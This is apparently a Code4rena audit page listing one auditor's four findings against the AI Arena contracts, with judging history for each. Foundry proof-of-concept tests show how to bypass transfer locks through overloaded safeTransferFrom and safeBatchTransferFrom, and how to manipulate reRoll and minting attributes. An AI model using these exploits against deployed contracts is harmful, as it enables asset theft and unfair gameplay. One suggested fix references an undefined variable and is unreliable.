Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 203/283
Findings: 4
Award: $2.49
π Selected for report: 0
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
Core protocol functionality is broken because a user can still transfer around his staked Fighter NFTs thus bypassing _ableToTransfer()
in FighterFarm.sol
.
The issue is that FighterFarm.sol
does not override the ERC721 safeTransferFrom(address, address, uint256, bytes memory)
.
Paste this into FighterFarm.t.sol
. We can see that a staked NFT has been successfully transferred.
function testSafeTransferFrom() public { _mintFromMergingPool(_ownerAddress); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); // Add owner address as staker _fighterFarmContract.addStaker(_ownerAddress); // Stake the fighter nft with token id 0 _fighterFarmContract.updateFighterStaking(0, true); // Ensure fighter is staked assertEq(_fighterFarmContract.fighterStaked(0), true); // Expect transfer to revert vm.expectRevert(); _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0); // Expect this transfer to pass _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "0x0"); assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS); }
Manual review, Foundry
Implement a function in FighterFarm.sol
that looks like the following:
function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public override(ERC721, IERC721) { require(_ableToTransfer(tokenId, to)); _safeTransfer(from, to, tokenId, data); }
ERC721
#0 - c4-pre-sort
2024-02-23T04:13:46Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-23T04:13:54Z
raymondfam marked the issue as duplicate of #54
#2 - c4-pre-sort
2024-02-23T04:47:02Z
raymondfam marked the issue as duplicate of #739
#3 - c4-pre-sort
2024-02-23T04:49:18Z
raymondfam marked the issue as sufficient quality report
#4 - c4-judge
2024-03-11T02:33:51Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
Items that are set as untransferable by setting their corresponding id to false by calling adjustTransferability(id, false)
on GameItems.sol
can still be transferred therefore breaking core protocol functionality.
Paste this in GameItems.t.sol
function testSafeTransferFrom() public { _fundUserWith4kNeuronByTreasury(_ownerAddress); _gameItemsContract.mint(0, 1); _gameItemsContract.adjustTransferability(0, false); // Expect this to fail since the game item is not transferable. vm.expectRevert(); _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, ""); // This should work uint256[] memory ids = new uint256[](1); ids[0] = 0; uint256 [] memory amounts = new uint256[](1); amounts[0] = 1; _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, ""); assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1); assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0); }
Manual review
Implement safeBatchTransferFrom
on GameItems.sol
as such:
function safeBatchTransferFrom( address from, address to, uint256[] memory tokenIds, uint256[] memory amounts, bytes memory data ) public override(ERC1155) { require(allGameItemAttributes[tokenId].transferable); super.safeBatchTransferFrom(from, to, tokenIds, amounts, data); }
Invalid Validation
#0 - c4-pre-sort
2024-02-22T03:31:02Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T03:31:09Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:27:17Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:51:05Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
When calling redeemMintPass
users can burn their AAMintPass
NFT in order to mint their Fighter
NFT.
In doing so they specify themselves all the features the NFT will have. This is a vulnerability since DNA should be a pseudorandom feature. In this case it is NOT since the user explicitly specifies it.
There is no pseudorandom feature in this line: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L254
as can be found in other _createNewFighter
calls:
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L214
Here pseudorandonimity is provided by the length of the fighters
array.
Not only that but since all function arguments are provided by users they can manipulate their wanted attributes in on-chain calculations: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L499C1-L506C10
This way they can calculate off-chain the best outcome of these calculations and send those arguments on-chain.
Users who redeem their mint pass gain unfair advantage in the protocols' battle gameplay. They can easily manipulate their stakers' on-chain feature by passing arguments that benefit their attribute on-chain calculation.
Sponsor confirmed this should not be the case.
You could argue for this to be a design choice but it breaks the games' fairness and transparency - and it should be mentioned in the audit report.
element
and weight
.Manual review
Write the features of Fighter NFT on AAMintPass
NFTs and then fetch them on-chain during minting in FighterFarm
instead of letting the user send them in redeemMintPass
.
Invalid Validation
#0 - c4-pre-sort
2024-02-22T07:12:09Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T07:12:41Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:52:37Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:52:45Z
HickupHH3 marked the issue as satisfactory
#4 - c4-judge
2024-03-06T03:17:37Z
HickupHH3 marked the issue as not a duplicate
#5 - c4-judge
2024-03-06T03:17:41Z
HickupHH3 marked the issue as primary issue
#6 - c4-judge
2024-03-06T03:30:24Z
HickupHH3 marked the issue as duplicate of #366
π Selected for report: klau5
Also found by: 0xAleko, 0xAlix2, 0xAsen, 0xCiphky, 0xKowalski, 0xlemon, 0xvj, 14si2o_Flint, Aamir, AlexCzm, Aymen0909, BARW, Blank_Space, DanielArmstrong, Davide, Draiakoo, Giorgio, McToady, MrPotatoMagic, PoeAudits, Ryonen, Silvermist, SpicyMeatball, Tychai0s, VAD37, Varun_05, alexxander, alexzoid, aslanbek, blutorque, btk, cats, d3e4, denzi_, evmboi32, fnanni, givn, grearlake, haxatron, jesjupyter, juancito, ke1caM, ktg, lanrebayode77, linmiaomiao, matejdb, merlinboii, n0kto, novamanbg, nuthan2x, petro_1912, pynschon, radin100, sashik_eth, shaka, sl1, soliditywala, solmaxis69, t0x1c, ubl4nk, vnavascues, xchen1130, yotov721, zhaojohnson
1.1225 USDC - $1.12
User can change his Fighter
attributes by calling FighterFarm::reRoll
with the fighterType
argument different than his type.
This allows him to increase his chances in off-chain battling because the system fetches on-chain attributes of a fighter id when battling as can be interpreted from docs:
Weight: Determines the battle attributes
and is confirmed by sponsor.
This allows a user with a certain Fighter
NFT to acquire those attributes of a different - more favorable fighterType
.
This lack of check of fighter type also allows him to re-roll his fighter more times than allowed for his Fighter
.
Attributes affected:
fighters[tokenId].element = element; fighters[tokenId].weight = weight;
This test will pass - paste it into FighterFarm.t.sol
.
This directly affects element
, weight
, newDna
and physicalAttributes
variables which are then stored on-chain or used in other calculations that are stored Fighter
struct.
function testRerollingToChangeFighterType() public { // This mints a fighterType = 0 _mintFromMergingPool(_ownerAddress); _fundUserWith4kNeuronByTreasury(_ownerAddress); if (_fighterFarmContract.ownerOf(0) == _ownerAddress) { uint256 neuronBalanceBeforeReRoll = _neuronContract.balanceOf(_ownerAddress); uint8 tokenId = 0; // Here we change the fighter type to 1 and then try to reroll it uint8 fighterType = 1; _neuronContract.addSpender(address(_fighterFarmContract)); _fighterFarmContract.reRoll(tokenId, fighterType); assertEq(_fighterFarmContract.numRerolls(0), 1); assertEq(neuronBalanceBeforeReRoll > _neuronContract.balanceOf(_ownerAddress), true); } }
Manual review, Foundry
Store fighterType
into FighterOps::Fighter
struct and check user is passing correct argument in reRoll
function.
Invalid Validation
#0 - c4-pre-sort
2024-02-21T23:50:20Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-21T23:50:30Z
raymondfam marked the issue as duplicate of #17
#2 - c4-pre-sort
2024-02-22T00:29:42Z
raymondfam marked the issue as not a duplicate
#3 - c4-pre-sort
2024-02-22T00:29:53Z
raymondfam marked the issue as duplicate of #305
#4 - c4-pre-sort
2024-02-22T01:04:49Z
raymondfam marked the issue as duplicate of #306
#5 - c4-judge
2024-03-05T04:30:02Z
HickupHH3 marked the issue as satisfactory
#6 - c4-judge
2024-03-05T04:30:25Z
HickupHH3 changed the severity to 2 (Med Risk)
#7 - c4-judge
2024-03-19T09:05:35Z
HickupHH3 changed the severity to 3 (High Risk)